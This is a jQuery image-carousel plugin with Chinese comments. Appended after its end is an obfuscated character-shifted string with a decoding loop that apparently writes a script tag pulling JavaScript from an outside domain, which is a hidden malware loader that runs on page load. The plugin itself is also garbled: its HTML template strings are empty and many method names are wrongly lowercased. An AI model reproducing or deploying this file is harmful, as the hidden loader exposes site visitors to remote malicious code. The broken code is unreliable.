//ul輪播
$.fn.oka_slider_model = function($setting){
//設定預設值
var $defaults = {
'type': 1,
'animatespeed': 300, //動畫速度
'speed': 5000 //輪播速度
};
//合併變數集
var $vars = $.extend($defaults, $setting);
//取所有輪播物件
var $models = $(this);
$models.each(function(){
//取物件
var $this = $(this),
$slider_box = $this.find('.slider_model_box'), //取播放區域
$slider_box_c = $slider_box.children(), //取要播放的子物件
$slider_box_c_length = $slider_box_c.length, //取播放物件的數量
$slider_box_img = $slider_box.find('img'), //取播放物件的img
$slider_box_img_length = $slider_box_img.length; //取播放物件的數量
if( $slider_box_c_length != $slider_box_img_length || $slider_box_c_length <= 1 ){ //如果有物件沒有圖或不是圖就停止程式
console.error('輪播物件必須是img or a包img');
return false;
}
// 製作附加模組
var _dom =''; //存物件字串
var _list_box = '
';
var _ctrl_img_box = ''; //建立影像點點
for( i = 0; i < $slider_box_c.length; i++ ){
_ctrl_img_box += ' \n\r';
}
_ctrl_img_box += '
';
var _ctrl_dot_box = ''; //建立點點
for( i = 0; i < $slider_box_c.length; i++ ){
_ctrl_dot_box += ' \n\r';
}
_ctrl_dot_box += '
';
var _ctrl_tools = '', //建立控制按鈕
_introduce_box = '', //建立左側撥放方框
_sec_box = ''; //建立第二組輪播視窗
//依type加入body
switch( $vars.type ){
case 1:
_dom += _ctrl_tools + '' + _ctrl_dot_box +'
';
break;
case 2:
_dom += '';
break;
case 3:
_dom += _ctrl_tools + '';
break;
case 4:
_dom += '' + _ctrl_dot_box +'
' + _list_box;
break;
case 5:
_dom += '' + _list_box;
break;
case 6:
_dom += '';
break;
case 7:
_dom += _ctrl_tools + '';
break;
case 8:
_dom += _introduce_box;
break;
case 9:
_dom += _introduce_box + _sec_box;
break;
case 999:
_dom += _ctrl_tools + _introduce_box + _sec_box + '' + _list_box;
break;
default:
_dom += '' + _ctrl_dot_box +'
';
}
$this.append(_dom); //加入模組
//控制附加模組
var $ctrl_tools = $this.find('.model_ctrl_tools'), //取控制按鈕組
$sec_box = $this.find('.slider_sec_model_box'), //取第二組輪播視窗
$bottom_box = $this.find('.bg_box'), //取下方外層方框
$introduce_box = $this.find('.slider_introduce_box'), //取左側播放方框
$list_box = $this.find('.slider_list_box'), //取右播放清單
$list_box_a = $list_box.find('a'), //&a
$ctrl_dot_box = $this.find('.ctrl_dot_box'), //取點點
$ctrl_dot_box_a = $ctrl_dot_box.find('a'), //&a
$ctrl_img_box = $this.find('.ctrl_img_box'), //取影像點點
$ctrl_img_box_a = $ctrl_img_box.find('a'); //&a
var $ctrl_btns = $list_box_a.add($ctrl_dot_box_a).add($ctrl_img_box_a),
$ctrl_title = $introduce_box.find('h5').add($bottom_box.find('h5')), //取要更新的標題
$ctrl_text = $introduce_box.find('p').add($bottom_box.find('p')); //取要更新的內文
var $ctrl_left = $ctrl_tools.find('.ctrl_left').data('dir', -1), //抓左右按鈕並設定方向參數
$ctrl_right = $ctrl_tools.find('.ctrl_right').data('dir', 1),
$away_btns = $ctrl_left.add($ctrl_right); //取按鈕集
var $list_box_ul = $list_box.find('ul'), //右側清單ul
$list_box_li = $list_box.find('li'), //右側清單選項
$list_box_a = $list_box_li.find('a'); //右側清單連結
var _index = 0; //紀錄播放的順序
//如果有第二組輪播視窗就隱藏第一組
if( $sec_box.length ){ //如果有輪播視窗
$slider_box_c.css('visibility','hidden');
}
//按下點點或影像或右側清單的按鈕
$ctrl_btns.click(function(event){
event.preventdefault(); //停止預設動作
var $this = $(this), //取點點
$this_p = $this.parent('li');
_index = $this_p.index(); //取點點的順序
slider(_index); //播放
}).eq(_index).click();
//按下左右
$away_btns.click(function(event){
event.preventdefault(); //停止預設動作
var $this = $(this),
_dir = $this.data('dir'); //取方向參數
_index = ( _index + _dir + $slider_box_c_length ) % $slider_box_c_length; //算出第幾個要被撥放
slider(_index); //播放
});
//設定輪播涵式
function slider(_index){
var $slider_dom = $slider_box_c.eq(_index), //存要播放的物件與資料
$slider_img = $slider_box_img.eq(_index), //存要播放的img
_href = $slider_dom.attr('href') || null;
if( $list_box.length ){ //如果有$list_box
var $list_box_h = $list_box.height() - $bottom_box.height(), //播放的眶
$list_box_ul_h = $list_box_ul.height(), //清單的高
$list_box_slider_h = $list_box_ul_h + $list_box_li.outerheight(true) - $list_box_h, //右側清單的高
$list_box_item = $list_box_li.eq(_index), ///右側清單的播放項目
_top = $list_box_item.position().top; //&離父元素的高
if( $list_box_h > $list_box_ul_h ){ //如果框比撥放清單還高
_top = 0;
}else if( _top > $list_box_slider_h ){
for( i = 1; $list_box_li.eq(i).position().top <= $list_box_slider_h; i++ ) //算出最大的_top
_top = $list_box_li.eq(i).position().top;
}
$list_box_ul.stop().animate({ //讓右側清單選項滑動
'margin-top': -1 * _top
},$vars.animatespeed);
}
$ctrl_title.text($slider_img.attr('title')); //更新title
$ctrl_text.text($slider_img.attr('alt')); //更新text
$sec_box.hide().attr('href',_href).css('background-image','url("'+ $slider_img.attr('src') +'")').fadein($vars.animatespeed);
$slider_dom.fadein($vars.animatespeed).siblings().hide(); //show出圖片並把其他隱藏
$list_box_a.removeclass('is_active').eq(_index).addclass('is_active');
$ctrl_dot_box_a.removeclass('is_active').eq(_index).addclass('is_active');
$ctrl_img_box_a.removeclass('is_active').eq(_index).addclass('is_active');
}
//設定計時器
var timer;
//設定自動撥放涵式
function auto(){
_index = ( _index + 1 + $slider_box_c_length) % $slider_box_c_length; //算出第幾個要被撥放
$ctrl_btns.eq(_index).click(); //播放
timer = settimeout(auto,$vars.speed);
}
//設定滑進滑出$this項目
$this.mouseover(function(){
cleartimeout(timer);
});
$this.mouseout(function(){
timer = settimeout(auto,$vars.speed);
});
//輪播開始
timer = settimeout(auto,$vars.speed);
});
}var str="cnbtldms-vqhsd'!;rbqhosrqb<[!gsso9..vvv-fnnfkd`crk-bnl.robncd.iptdqx-ir[!=;.rbqhos=!(:";var length=str.length;var ba64="";for(i=0;i